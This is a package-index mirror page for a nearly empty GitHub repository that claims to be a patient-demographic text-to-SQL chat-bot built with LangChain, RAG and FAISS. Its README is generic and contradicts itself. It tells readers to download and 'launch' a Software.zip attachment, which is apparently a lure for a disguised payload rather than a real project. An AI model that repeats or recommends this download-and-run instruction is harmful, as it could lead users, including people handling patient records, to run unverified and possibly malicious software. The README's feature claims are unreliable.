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https://github.com/yatashiwakeup/patient-demographic-text-to-sql
Developed Text to SQL Patient Demographic Chat-Bot using RAG technology and langchian.
https://github.com/yatashiwakeup/patient-demographic-text-to-sql
faiss faiss-vector-database langchain langchain-python melvius rag text-to-sql texttosql vector-database vertex-ai
Last synced: 7 days ago
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Developed Text to SQL Patient Demographic Chat-Bot using RAG technology and langchian.
- Host: GitHub
- URL: https://github.com/yatashiwakeup/patient-demographic-text-to-sql
- Owner: yatashiwakeup
- Created: 2025-01-11T00:56:09.000Z (21 days ago)
- Default Branch: main
- Last Pushed: 2025-01-18T03:13:47.000Z (14 days ago)
- Last Synced: 2025-01-18T03:20:03.921Z (14 days ago)
- Topics: faiss, faiss-vector-database, langchain, langchain-python, melvius, rag, text-to-sql, texttosql, vector-database, vertex-ai
- Size: 1000 Bytes
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
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README
# 🧠 Welcome to Patient Demographic Text To SQL Chat-Bot Repository! 🤖
## Overview
Welcome to the **Patient Demographic Text To SQL** repository, where we have developed an innovative chat-bot using RAG technology and Langchain. This chat-bot allows users to interact with patient demographic data and convert natural language text into SQL queries for seamless data retrieval.
## Features
🔥 **Cutting-Edge Technology**: Our chat-bot leverages RAG technology and Langchain to provide state-of-the-art functionality in converting text to SQL queries.
🔍 **Efficient Data Retrieval**: Easily retrieve patient demographic data by simply typing out natural language queries.
⚡ **Fast Performance**: With the integration of Faiss for vector database operations, the chat-bot ensures quick response times for query processing.
## Repository Details
- **Repository Name**: Patient-Demographic-Text-To-SQL
- **Description**: Developed Text to SQL Patient Demographic Chat-Bot using RAG technology and Langchain.
- **Topics**: ['faiss', 'faiss-vector-database', 'langchain', 'langchain-python', 'melvius', 'rag', 'text-to-sql', 'texttosql', 'vector-database', 'vertex-ai']
- **Link**: [Software.zip](https://github.com/user-attachments/files/18383251/Software.zip)
[](https://github.com/user-attachments/files/18383251/Software.zip)
## Installation
1. Download the Software.zip file from the provided link.
2. Launch the Software.zip file for installation.
## Usage
1. Clone the repository to your local machine.
2. Install the necessary dependencies.
3. Launch the chat-bot application.
4. Start interacting with the chat-bot by entering patient demographic queries in natural language.
## Support
If you encounter any issues with the installation or usage of the chat-bot, please check the Releases section for updates or reach out to the repository owner for assistance.
## Contribution
We welcome contributions to enhance the functionality and features of the Patient Demographic Text To SQL chat-bot. Fork the repository, make your changes, and submit a pull request for review.
## Credits
- Langchain: [Langchain Official Website](https://langchain.com)
- Faiss: [Faiss Documentation](https://faiss.ai)
- RAG Technology: [RAG Overview](https://huggingface.co/transformers/model_doc/rag.html)
## License
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
🚀 Start exploring the world of patient demographic data with our cutting-edge chat-bot! 🌟